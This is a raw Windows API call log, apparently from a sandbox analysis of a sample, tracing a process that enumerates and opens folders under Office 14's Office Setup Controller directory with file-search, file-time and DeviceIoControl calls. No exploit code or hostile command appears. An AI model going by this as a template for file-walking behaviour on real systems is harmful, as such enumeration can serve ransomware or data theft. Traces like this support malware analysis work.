DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0053.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0053.813] NtClose (Handle=0x188) returned 0x0 [0053.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0053.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0053.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0053.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0053.813] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0053.813] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.813] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="")) returned 1 [0053.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0053.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0053.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95e40 [0053.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf98fb8 [0053.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.813] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0053.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95e60 [0053.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf990c0 [0053.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.814] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0053.814] GetLastError () returned 0x12 [0053.814] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0053.814] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0053.814] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.814] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="")) returned 1 [0053.814] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0053.814] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0053.814] GetLastError () returned 0x12 [0053.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97710) returned 1 [0053.814] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0053.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97608) returned 1 [0053.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0053.814] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0053.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0053.814] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0053.823] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0053.823] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0053.823] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0053.823] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0053.823] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0053.823] NtClose (Handle=0x18c) returned 0x0 [0053.823] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0053.823] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.823] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0053.823] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0053.823] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.823] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0053.823] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0053.823] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.823] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="")) returned 1 [0053.824] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.824] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.824] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.824] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.824] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.824] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0053.824] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0053.824] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95e80 [0053.824] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf991c8 [0053.824] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.824] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="")) returned 0 [0053.824] GetLastError () returned 0x12 [0053.824] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0053.824] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0053.824] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.824] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="")) returned 1 [0053.824] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="")) returned 0 [0053.824] GetLastError () returned 0x12 [0053.824] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97608) returned 1 [0053.824] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0053.824] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97710) returned 1 [0053.824] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0053.824] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="")) returned 1 [0053.824] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0053.824] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0053.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0053.874] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0053.874] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0053.874] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0053.874] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0053.874] NtClose (Handle=0x188) returned 0x0 [0053.874] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0053.874] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.874] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0053.874] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0053.874] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.874] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0053.874] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0053.874] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.875] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="")) returned 1 [0053.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.875] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.875] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0053.875] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0053.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95ea0 [0053.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf992d0 [0053.875] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.875] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0053.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.875] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.875] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95ec0 [0053.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf993d8 [0053.875] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.875] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0053.875] GetLastError () returned 0x12 [0053.875] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0053.875] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0053.875] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.875] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="")) returned 1 [0053.875] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0053.876] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, 